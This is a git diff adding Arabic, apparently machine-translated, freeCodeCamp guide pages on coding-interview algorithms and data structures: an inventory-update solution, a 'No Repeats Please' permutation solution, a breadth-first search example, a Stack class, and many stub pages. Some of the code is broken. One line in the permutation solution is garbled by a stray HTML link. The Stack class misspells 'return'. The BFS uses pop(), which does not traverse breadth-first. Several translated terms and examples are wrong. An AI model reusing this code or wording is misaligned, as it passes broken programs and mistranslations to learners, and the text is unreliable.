+        const position = inventory.indexOf(item); 
+ 
+        // exsisting item: update quantity 
+        if (position !== -1) { 
+          const row = Math.floor(position / 2); 
+          arr1[row][0] += quantity; 
+          continue; 
+        } 
+ 
+        // alien item: add to inventory 
+        arr1.push([quantity, item]); 
+ 
+      } 
+ 
+      // sort inventory in alphabetical order 
+      arr1.sort((previous, next) => (previous[1] > [next[1]]) ? 1 : -1); 
+ 
+      return arr1; 
+ 
+    } 
+ 
+ 
+    // test here 
+    // Example inventory lists 
+    var curInv = [ 
+        [21, "Bowling Ball"], 
+        [2, "Dirty Sock"], 
+        [1, "Hair Pin"], 
+        [5, "Microphone"] 
+    ]; 
+ 
+    var newInv = [ 
+        [2, "Hair Pin"], 
+        [3, "Half-Eaten Apple"], 
+        [67, "Bowling Ball"], 
+        [7, "Toothpaste"] 
+    ]; 
+ 
+    updateInventory(curInv, newInv); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/MQvv/latest)
+
+### شرح الشفرة:
+
+*   تحويل صفيف المخزون الحالي **arr1** إلى مصفوفة أحادية البعد من أجل استخدام طريقة `indexOf()` للتحقق من وجود عناصر التسليم الجديدة في المخزون الحالي.
+*   تحقق مما إذا كان العنصر موجودًا بالفعل في المخزون الحالي باستخدام `indexOf()` .
+*   في حالة وجود عنصر تحديث الكمية ومتابعة تنفيذ حلقة.
+*   آخر إلحاق البند إلى المخزون.
+*   وأخيرًا ، قم بفرز الترتيب أبجديًا وإرجاع المخزون المحدث.
+
+#### روابط ذات صلة
+
+*   [JS Function.prototype.apply ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+*   [شبيبة المتابعة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [JS Array.prototype.sort ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
new file mode 100644
index 0000000000..31eae8c8b2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/no-repeats-please/index.md
@@ -0,0 +1,177 @@
+---
+title: No Repeats Please
+localeTitle: لا يتكرر من فضلك
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تتطلب هذه المهمة أن نرجع عدد التبديلات الإجمالية للسلسلة المقدمة التي لا تحتوي على أحرف متتالية متكررة. من المفترض أن تكون كل الحروف في السلسلة المقدمة فريدة. على سبيل المثال ، يجب أن يعود `aab` 2 لأنه يحتوي على 6 تباديل كلي ( `aab` ، `aab` ، `aba` ، `aba` ، `baa` ، `baa` ) ، ولكن 2 منهم فقط ( `aba` و `aba` ) ليس لديهم نفس الحرف (في هذه الحالة `a` ) التكرار.
+
+لتحقيق ذلك ، سيتعين علينا النظر في كل تبديل محتمل لسلسلة. هناك عدة طرق للقيام بذلك. هناك سؤال مشترك للمقابلة هو بناء دالة تجمع كل تباديل السلسلة. هناك العديد من البرامج التعليمية المتاحة على الإنترنت حول كيفية القيام بذلك.
+
+#### الأساليب المحتملة المستخدمة كحل
+
+##### طريقة متكررة
+
+هذه المهمة يمكن أن تكون شاقة حتى بعد مشاهدة البرنامج التعليمي. لكتابة حل تكراري ، ستحتاج إلى إرسال كل استخدام جديد للمدخلات الدالة الثلاثة:
+
+1.  سلسلة جديدة (أو مصفوفة أحرف) قيد الإنشاء.
+2.  موضع في السلسلة الجديدة سيتم ملؤه بعد ذلك.
+3.  لم يتم بعد استخدام فكرة عن الأحرف (المواضع الأكثر تحديدًا) من السلسلة الأصلية.
+
+سيبدو الرمز الزائف شيئًا كالتالي:
+
+ `var str = ???; 
+ permAlone(current position in original string, characters used already in original string, created string) { 
+  if (current string is finished) { 
+    print current string; 
+  } else { 
+    for (var i = 0; i < str.length; i++) { 
+      if (str[i] has not been used) { 
+        put str[i] into the current position of new string; 
+        mark str[i] as used; 
+        permAlone(current position in original string, characters used already in original string, created string); 
+        remove str[i] as used because another branch in the tree for i + 1 will likely use it; 
+      } 
+    } 
+  } 
+ } 
+ permAlone(0, nothing used yet, empty new string (or array the same size as str)); 
+` 
+
+طريقة أخرى للتفكير في هذه المشكلة هي البدء من مساحة فارغة. قدم أول حرف إلى الفضاء. ستحتوي هذه المساحة الآن على التقسيم الفرعي الأول. فيما يلي رسم بياني يوضح الفكرة:
+
+![رسم بياني](//discourse-user-assets.s3.amazonaws.com/original/2X/6/69896bacc8bd3b2e347beb4b304a7f97caa6d9ab.png)
+
+##### طريقة غير متكررة
+
+ `// An approach to introduce a new character to a permutation 
+ var ch = '?'; 
+ var source = ['?', '?', '?'];     // Current sub-permutation 
+ var temp, dest = []; 
+ 
+ for (var i = 0; i <= source.length; ++i) { 
+  temp = source.slice(0);         // Copy the array 
+  temp.splice(i, 0, ch);          // Insert the new character 
+  dest.push(temp);                // Store the new sub-permutation 
+ } 
+` 
+
+ويمكن بعد ذلك العثور على كل تقليب بطريقة غير متكررة بإدراج ما سبق في دالة تأخذ مصفوفة مصدر وإرجاع مصفوفة وجهة. لكل حرف من سلسلة الإدخال ، قم بتمرير ذلك الحرف ، بالإضافة إلى الصفيف الذي تم إرجاعه من المكالمة السابقة للدالة.
+
+طريقة لتصور هذا هو النظر في الشجرة التي تبدأ بالحرف الأول من السلسلة:
+
+![شجرة التقابل](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8187f2b06cdc02cf62286c18ce15bfcdc99bc68c.png)
+
+#### روابط ذات صلة
+
+*   [التباديل](https://www.mathsisfun.com/combinatorics/combinations-permutations.html)
+*   [خوارزمية الكومة](https://en.wikipedia.org/wiki/Heap%27s_algorithm)
+*   شبيبة ريجكس الموارد
+*   [كائن JS String](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   أسهل طريقة هي استخدام خوارزمية كومة الذاكرة المؤقتة للحصول على قائمة متكررة بكافة التباديل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   بمجرد الحصول على القائمة ، قم فقط بإنشاء تعبير عادي لالتقاط الأحرف المتكررة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   ستحتاج إلى الحصول على التباديل كمصفوفة من السلاسل المترابطة بدلاً من الأحرف المنفصلة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function permAlone(str) { 
+ 
+  // Create a regex to match repeated consecutive characters. 
+  var regex = /(.)\1+/g; 
+ 
+  // Split the string into an array of characters. 
+  var arr = str.split(''); 
+  var permutations = <a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>]; 
+  var tmp; 
+ 
+  // Return 0 if str contains same character. 
+  if (str.match(regex) !== null && str.match(regex)[0] === str) return 0; 
+ 
+  // Function to swap variables' content. 
+  function swap(index1, index2) { 
+    tmp = arr[index1]; 
+    arr[index1] = arr[index2]; 
+    arr[index2] = tmp; 
+  } 
+ 
+  // Generate arrays of permutations using the algorithm. 
+  function generate(int) { 
+    if (int === 1) { 
+      // Make sure to join the characters as we create  the permutation arrays 
+      permutations.push(arr.join('')); 
+    } else { 
+      for (var i = 0; i != int; ++i) { 
+        generate(int - 1); 
+        swap(int % 2 ? 0 : i, int - 1); 
+      } 
+    } 
+  } 
+ 
+  generate(arr.length); 
+ 
+  // Filter the array of repeated permutations. 
+  var filtered = permutations.filter(function(string) { 
+    return !string.match(regex); 
+  }); 
+ 
+  // Return how many have no repetitions. 
+  return filtered.length; 
+ } 
+ 
+ // Test here. 
+ permAlone('aab'); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLop/0)
+
+### شرح الشفرة:
+
+*   يحتوي **regex** على التعبير العادي لمطابقة الأحرف المتتالية المتكررة.
+*   يتم تقسيم **str** السلسلة إلى صفيف من الأحرف ، **arr** .
+*   يتم إرجاع 0 إذا كان **str** يحتوي على نفس الأحرف.
+*   يتم استخدام `swap()` الدالة `swap()` لغرض تبديل محتويات محتويات اثنين من المتغير.
+*   تستخدم الكتلة التالية من التعليمات البرمجية خوارزمية كومة الذاكرة المؤقتة لإنشاء صفائف من التباديل في **التباديل** .
+*   **وتصفيتها** مرشحات **التباديل** متغير لتشمل التباديل غير المتكررة فقط.
+*   يُرجع `filtered.length` عدد التباديل الإجمالي للسلسلة المقدمة التي لا تحتوي على أحرف متتالية متكررة.
+
+#### روابط ذات صلة
+
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS String Prototype Match](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+*   [JS Array Prototype Filter](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/pairwise/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/pairwise/index.md
new file mode 100644
index 0000000000..d830590203
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/pairwise/index.md
@@ -0,0 +1,9 @@
+---
+title: Pairwise
+localeTitle: البشرى
+---
+## البشرى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/algorithms/pairwise/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..9c05d4388d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a New Element to a Binary Search Tree
+localeTitle: إضافة عنصر جديد إلى شجرة بحث ثنائية
+---
+## إضافة عنصر جديد إلى شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-a-new-element-to-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
new file mode 100644
index 0000000000..9f11c2f317
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Elements at a Specific Index in a Linked List
+localeTitle: إضافة عناصر في فهرس محدد في قائمة مرتبطة
+---
+## إضافة عناصر في فهرس محدد في قائمة مرتبطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/add-elements-at-a-specific-index-in-a-linked-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
new file mode 100644
index 0000000000..ed3619c2ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency List
+localeTitle: قائمة التجاور
+---
+## قائمة التجاور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
new file mode 100644
index 0000000000..4afca7a666
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Adjacency Matrix
+localeTitle: Adjacency Matrix
+---
+## Adjacency Matrix
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/adjacency-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
new file mode 100644
index 0000000000..11e2286ef1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/breadth-first-search/index.md
@@ -0,0 +1,48 @@
+---
+title: Breadth-First Search
+localeTitle: اتساع البحث الأول
+---
+## اتساع البحث الأول
+
+دعونا أولا تحديد فئة `Tree` لاستخدامها لتنفيذ خوارزمية Breadth First Search.
+
+ `class Tree: 
+  def __init__(self, x): 
+    self.val = x 
+    self.left = None 
+    self.right = None 
+` 
+
+تنتقل خوارزمية البحث الأولى والاتساع من مستوى إلى آخر بدءًا من جذر الشجرة. سنستخدم `queue` لهذا الغرض.
+
+ `def bfs(root_node): 
+  queue = [root_node] 
+ 
+  while queue: 
+    top_element = queue.pop() 
+    print("Node processed: ",top_element) 
+ 
+    if top_element.left: 
+      queue.append(top_element.left) 
+ 
+    if top_element.right: 
+      queue.append(top_element.right) 
+` 
+
+يمكننا بسهولة تعديل التعليمات البرمجية المذكورة أعلاه لطباعة مستوى كل عقدة كذلك.
+
+ `def bfs(root_node): 
+  queue = [(root_node, 0)] 
+ 
+  while queue: 
+    top_element, level = queue.pop() 
+    print("Node processed: {} at level {}".format(top_element, level)) 
+ 
+    if top_element.left: 
+      queue.append((top_element.left, level + 1)) 
+ 
+    if top_element.right: 
+      queue.append((top_element.right, level + 1)) 
+` 
+
+| التعقيد | الوقت | الفضاء | ----- | ------ | ------ | | BFS | ن | ن |
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..dfd44c42fe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Check if an Element is Present in a Binary Search Tree
+localeTitle: تحقق مما إذا كان العنصر موجودًا في شجرة البحث الثنائية
+---
+## تحقق مما إذا كان العنصر موجودًا في شجرة البحث الثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/check-if-an-element-is-present-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
new file mode 100644
index 0000000000..980214eed0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Circular Queue
+localeTitle: إنشاء قائمة انتظار دائري
+---
+## إنشاء قائمة انتظار دائري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-circular-queue/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..f387509208
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Doubly Linked List
+localeTitle: إنشاء قائمة مرتبطة Doubly
+---
+## إنشاء قائمة مرتبطة Doubly
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-doubly-linked-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
new file mode 100644
index 0000000000..b60f2f34ca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Hash Table
+localeTitle: إنشاء جدول تجزئة
+---
+## إنشاء جدول تجزئة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-hash-table/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
new file mode 100644
index 0000000000..a37e4e1fb8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Linked List Class
+localeTitle: إنشاء فئة قائمة مرتبطة
+---
+## إنشاء فئة قائمة مرتبطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-linked-list-class/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
new file mode 100644
index 0000000000..bfc85971ff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Map Data Structure
+localeTitle: إنشاء بنية بيانات الخريطة
+---
+## إنشاء بنية بيانات الخريطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-map-data-structure/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
new file mode 100644
index 0000000000..fc85ef9bd9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Priority Queue Class
+localeTitle: إنشاء فئة قائمة انتظار الأولوية
+---
+## إنشاء فئة قائمة انتظار الأولوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-priority-queue-class/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
new file mode 100644
index 0000000000..fffa75ea9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Queue Class
+localeTitle: إنشاء فئة قائمة انتظار
+---
+## إنشاء فئة قائمة انتظار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-queue-class/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
new file mode 100644
index 0000000000..7363cb4bcf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Set Class
+localeTitle: إنشاء فئة مجموعة
+---
+## إنشاء فئة مجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-set-class/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
new file mode 100644
index 0000000000..3a7e838c00
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-stack-class/index.md
@@ -0,0 +1,79 @@
+---
+title: Create a Stack Class
+localeTitle: إنشاء فئة مكدس
+---
+## إنشاء فئة مكدس
+
+### طريقة:
+
+*   Stack هو بنية بيانات مجردة.
+*   يتبع Stack مبدأ LIFO / FILO.
+
+## \- في هذا التحدي ، نحتاج إلى إضافة `.push()` و `.pop()` و `.peek()` و `.isEmpty()` و `.clear()` للفئة.
+
+*   `push()` طريقة دفع القيمة إلى المكدس.
+*   أسلوب `pop()` ينبثق القيمة الأولى من المكدس.
+*   الأسلوب `peek()` إرجاع القيمة الأولى من المكدس.
+*   يتحقق الأسلوب `isEmpty()` إذا كان مكدس ths فارغ.
+
+## \- `.clear()` الأسلوب يزيل جميع العناصر من المكدس.
+
+| DS | الوصول | البحث | إدراج | حذف | | ----- | ------ | ------ | ------ | ------ | | كومة | ن | ن | 1 | 1 |
+
+### حل:
+
+#### الأساسية:
+
+ `function Stack() { 
+    var collection = []; 
+    this.print = function() { 
+        console.log(collection); 
+    }; 
+    this.push = function(val){ 
+        return collection.push(val); 
+    } 
+    this.pop = function(){ 
+        return collection.pop(); 
+    } 
+    this.peek = function(){ 
+        return collection[collection.length-1]; 
+    } 
+    this.isEmpty = function(){ 
+        return collection.length === 0; 
+    } 
+    this.clear = function(){ 
+        collection.length = 0; 
+    } 
+ } 
+` 
+
+#### متقدم - بنية ES6 Class:
+
+ `class Stack { 
+    constructor() { 
+        this.collection = []; 
+    } 
+    print(){ 
+        console.log(this.collection); 
+    } 
+    push(val){ 
+        retiurn this.collection.push(val); 
+    } 
+    pop(){ 
+        return this.collection.pop(); 
+    } 
+    peek(){ 
+        return this.collection[this.collection.length-1]; 
+    } 
+    isEmpty(){ 
+        return this.collection.length === 0; 
+    } 
+    clear(){ 
+        return this.collection.length = 0; 
+    } 
+ } 
+` 
+
+\### مصادر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
new file mode 100644
index 0000000000..a18746b8cc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Trie Search Tree
+localeTitle: إنشاء شجرة البحث تري
+---
+## إنشاء شجرة البحث تري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-a-trie-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
